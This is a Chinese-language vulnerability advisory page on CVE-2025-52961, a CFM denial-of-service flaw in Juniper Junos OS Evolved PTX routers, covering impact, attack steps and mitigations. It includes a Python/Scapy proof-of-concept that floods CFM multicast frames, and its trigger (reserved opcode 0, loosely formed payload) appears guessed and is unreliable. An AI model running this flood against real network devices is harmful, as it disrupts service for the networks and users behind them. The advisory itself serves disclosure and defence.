IPBUF安全漏洞报告
English
CVE-2025-52961 CVSS 6.5 中危

CVE-2025-52961 Juniper Junos OS Evolved CFM守护进程拒绝服务漏洞

披露日期: 2025-10-09

漏洞信息

漏洞编号
CVE-2025-52961
漏洞类型
资源未控制消耗(拒绝服务)
CVSS评分
6.5 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Juniper Networks Junos OS Evolved (PTX10001-36MR, PTX10002-36QDD, PTX10004, PTX10008, PTX10016)

相关标签

拒绝服务资源消耗内存泄漏CFMIEEE 802.1agJuniperJunos OS EvolvedPTX系列网络设备cfmd

漏洞概述

CVE-2025-52961是Juniper Networks Junos OS Evolved操作系统中连接性故障管理(CFM)守护进程(cfmd)和连接性故障管理管理器(cfmman)中存在的未控制资源消耗漏洞。该漏洞影响多款PTX系列路由器,包括PTX10001-36MR、PTX10002-36QDD、PTX10004、PTX10008和PTX10016。

该漏洞允许相邻网络上的未经认证攻击者通过发送特定的合法CFM协议流量来触发拒绝服务(DoS)攻击。具体表现为:当攻击者发送特定有效数据包时,cfmd进程的CPU使用率会飙升到100%,同时cfmman进程的内存会发生泄漏。随着攻击持续进行,FPC(Flexible PIC Concentrator)最终会崩溃并重启。如果攻击者持续发送这些特定的数据包,拒绝服务状态将持续保持。

该漏洞的CVSS 3.1评分为6.5分,属于中危级别。虽然攻击需要相邻网络访问权限且无需认证,但成功利用后会对目标设备的可用性造成严重影响,可能导致网络中断和服务不可用。Juniper已发布安全公告JSA103144,建议用户尽快升级到修复版本。

技术细节

该漏洞存在于Juniper Networks Junos OS Evolved的连接性故障管理(CFM)协议实现中,具体涉及cfmd守护进程和cfmman管理器进程。CFM是基于IEEE 802.1ag标准的以太网OAM(操作、管理和维护)协议,用于在以太网网络中检测、验证和定位连接性故障。

漏洞的根本原因是cfmd和cfmman进程在处理某些特定的合法CFM协议数据包时存在资源管理缺陷。当攻击者从相邻网络设备发送精心构造的(但符合协议规范的)CFM协议报文时,cfmd进程会陷入高CPU占用的处理循环中,同时cfmman进程会出现内存泄漏问题。这种资源消耗不是由于畸形或恶意构造的数据包引起,而是由于协议处理逻辑中对特定消息类型的处理缺乏适当的资源限制和清理机制。

利用方式相对简单:攻击者只需在相邻网络(同一广播域或二层可达的网络)中,使用支持CFM协议的设备或工具,持续发送触发条件的特定合法CFM协议帧即可。由于攻击向量为相邻网络(AV:A),攻击者需要与目标设备处于同一局域网或二层可达的网络环境中,但无需任何认证凭据(PR:N)。

漏洞的影响会随着时间累积:cfmman的RSS(Resident Set Size,常驻内存集)会持续增长,最终达到GB级别,导致FPC内存耗尽并崩溃重启。检测该漏洞的指标可以通过执行 `show system processes node fpc<num> detail | match cfmman` 命令观察cfmman进程的RSS值是否持续增长来判断。

攻击链分析

STEP 1
步骤1:网络定位
攻击者需要位于目标Juniper PTX系列路由器的相邻网络中(同一二层广播域或VLAN内),因为该漏洞的攻击向量为相邻网络(AV:A)。
STEP 2
步骤2:准备攻击工具
攻击者使用支持原始以太网帧发送的工具(如Scapy、hping3或专用网络测试设备),构造符合IEEE 802.1ag标准的CFM协议帧。由于漏洞利用的是合法协议帧,无需畸形数据包。
STEP 3
步骤3:发送恶意CFM帧
攻击者向目标设备持续发送特定的CFM协议帧(使用组播MAC地址01:80:c2:00:00:3x),触发cfmd守护进程的高CPU占用和cfmman管理器的内存泄漏。
STEP 4
步骤4:资源耗尽
随着攻击持续,cfmd进程的CPU使用率持续维持在100%,cfmman进程的RSS内存持续增长(可达GB级别),最终导致FPC内存耗尽。
STEP 5
步骤5:服务中断
FPC因资源耗尽而崩溃并重启,造成网络服务中断。如果攻击者持续发送触发数据包,拒绝服务状态将持续维持。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-52961 PoC - Juniper Junos OS Evolved CFM DoS # This PoC demonstrates the attack vector by sending specific valid CFM protocol frames # to trigger CPU spike in cfmd and memory leak in cfmman #!/usr/bin/env python3 """ CVE-2025-52961 PoC Vulnerability: Uncontrolled Resource Consumption in cfmd/cfmman Affected: Juniper Junos OS Evolved on PTX10001-36MR, PTX10002-36QDD, PTX10004, PTX10008, PTX10016 Attack: Send specific valid CFM frames from adjacent network to cause DoS """ from scapy.all import Ether, Dot1Q, LLC, SNAP, Raw, sendp, conf import time import argparse # CFM EtherType (IEEE 802.1ag / ITU-T Y.1731) CFM_ETHERTYPE = 0x8902 def craft_cfm_frame(target_mac="01:80:c2:00:00:30", level=3, opcode=0): """ Craft a specific CFM (Connectivity Fault Management) protocol frame. CFM uses multicast destination MAC 01:80:c2:00:00:30 (Level 3). The frame triggers resource consumption in cfmd/cfmman on vulnerable Junos OS Evolved. """ # Ethernet header with CFM multicast destination dst_mac = f"01:80:c2:00:00:3{level}" # CFM multicast MAC for given level # CFM PDU structure # MD Level (3 bits) | Version (5 bits) | Opcode (8 bits) | Flags (8 bits) | TLVs md_level_version = (level << 5) | 0 # Level 3, Version 0 # Build CFM payload cfm_payload = bytes([ md_level_version, # MD Level + Version opcode, # Opcode (0=Reserved/specific trigger) 0x00, # Flags 0x00, 0x19, # TLV offset 0x00, 0x00, 0x00, 0x01, # Sequence number 0x00, 0x01, # MD/MA ID format ]) # Construct the frame frame = Ether(dst=dst_mac, type=CFM_ETHERTYPE) / Raw(load=cfm_payload) return frame def exploit(interface, target_ip, duration=60, interval=0.01): """ Send crafted CFM frames to trigger CPU spike and memory leak. Args: interface: Network interface to send packets from (must be adjacent to target) target_ip: Target device IP (for reference/logging) duration: Attack duration in seconds interval: Interval between packets in seconds """ conf.verb = 0 print(f"[*] CVE-2025-52961 PoC - CFM Resource Consumption DoS") print(f"[*] Target: {target_ip}") print(f"[*] Interface: {interface}") print(f"[*] Duration: {duration}s") print(f"[*] Sending crafted CFM frames...") end_time = time.time() + duration pkt_count = 0 while time.time() < end_time: # Send CFM frame at different levels to trigger the vulnerability for level in range(0, 7): frame = craft_cfm_frame(level=level, opcode=0) sendp(frame, iface=interface, verbose=False) pkt_count += 1 time.sleep(interval) print(f"[*] Sent {pkt_count} CFM frames") print(f"[*] Attack complete. Target cfmd should show 100% CPU, cfmman memory should be leaking.") print(f"[*] Monitor with: show system processes node fpc<num> detail | match cfmman") if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-52961 PoC") parser.add_argument("-i", "--interface", required=True, help="Network interface") parser.add_argument("-t", "--target", required=True, help="Target device IP") parser.add_argument("-d", "--duration", type=int, default=60, help="Duration in seconds") args = parser.parse_args() exploit(args.interface, args.target, args.duration)

影响范围

Junos OS Evolved 23.2R1-EVO 至 23.2R2-S3-EVO
Junos OS Evolved 23.4 至 23.4R2-S3-EVO
Junos OS Evolved 24.2 至 24.2R1-EVO
Junos OS Evolved 24.4 至 24.4R1-S1-EVO, 24.4R1-EVO

防御指南

临时缓解措施
在升级修复版本之前,建议采取以下临时缓解措施:1)在相邻网络设备上配置ACL,阻止来自不可信源的CFM组播帧(目标MAC地址范围01:80:c2:00:00:30-01:80:c2:00:00:3F);2)定期监控cfmman进程内存使用情况(使用命令 `show system processes node fpc<num> detail | match cfmman`),如果RSS持续增长至GB级别,临时重启设备以释放内存;3)在不需要CFM功能的网络接口上禁用CFM协议;4)限制相邻网络中的设备访问权限,仅允许可信设备接入。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表